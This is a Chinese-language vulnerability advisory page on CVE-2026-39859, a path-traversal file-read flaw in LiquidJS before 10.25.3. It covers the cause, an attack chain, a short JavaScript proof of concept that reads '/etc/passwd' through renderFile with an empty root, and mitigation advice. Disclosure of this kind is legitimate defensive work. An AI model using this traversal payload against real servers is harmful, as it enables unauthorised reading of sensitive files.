IPBUF安全漏洞报告
English
CVE-2026-39859 CVSS 7.5 高危

CVE-2026-39859 LiquidJS 任意文件读取漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39859
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LiquidJS

相关标签

路径遍历任意文件读取LiquidJS信息泄露CVE-2026-39859

漏洞概述

LiquidJS 是一个纯 JavaScript 编写的模板引擎。在 10.25.3 版本之前,尽管文档声称限制了传递给 renderFile() 和 parseFile() 的文件名,但顶层文件加载并未强制执行该边界限制。如果 Liquid 实例被配置为使用空的临时目录作为根目录,攻击者可以利用此漏洞返回服务器上任意文件的内容。该漏洞已在 10.25.3 版本中修复。

技术细节

该漏洞的根本原因在于 LiquidJS 在处理文件路径时的安全校验逻辑存在缺陷。虽然针对 renderFile 和 parseFile 等函数设计了文档根目录限制,旨在防止访问根目录以外的文件,但在处理顶层文件加载时,系统未能正确应用这一边界检查。具体而言,当实例初始化时 root 参数被设置为空字符串或临时目录时,攻击者可以通过构造包含“../”序列的路径遍历载荷(Payload),在顶层加载文件时绕过目录限制。由于缺乏对路径规范化的严格验证,引擎会将相对路径解析为系统上的绝对路径,从而导致任意文件读取。这使得攻击者能够获取敏感配置信息、源代码或其他关键数据。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了受影响版本的 LiquidJS (10.25.3 之前),并探测其配置。
STEP 2
漏洞分析
攻击者确认目标实例的 root 配置为空目录或临时目录,且未对输入路径进行严格过滤。
STEP 3
载荷构造
攻击者构造包含路径遍历序列(如 '../../../etc/passwd')的恶意文件路径。
STEP 4
漏洞利用
攻击者将载荷发送给服务器,LiquidJS 在处理顶层文件加载时,未能限制路径,读取了目标文件。
STEP 5
数据泄露
服务器将读取到的敏感文件内容返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { Liquid } = require('liquidjs'); async function exploit() { // Vulnerable configuration: root is set to an empty directory or temp dir const engine = new Liquid({ root: '', // Misconfigured root cache: false }); // Attack vector: Path traversal to read sensitive files const maliciousTemplate = '../../etc/passwd'; try { // The engine processes the file load without enforcing the root boundary const content = await engine.renderFile(maliciousTemplate); console.log('Exploit Success! File content:'); console.log(content); } catch (err) { console.error('Exploit failed:', err); } } exploit();

影响范围

LiquidJS < 10.25.3

防御指南

临时缓解措施
如果无法立即升级,请确保应用程序中 LiquidJS 的 root 配置项指向一个有效的、隔离的目录,避免使用空字符串。同时,在调用 renderFile 或相关函数之前,应在应用层代码中添加路径规范化逻辑,明确拒绝包含 '../' 或绝对路径的请求,以防止路径遍历攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表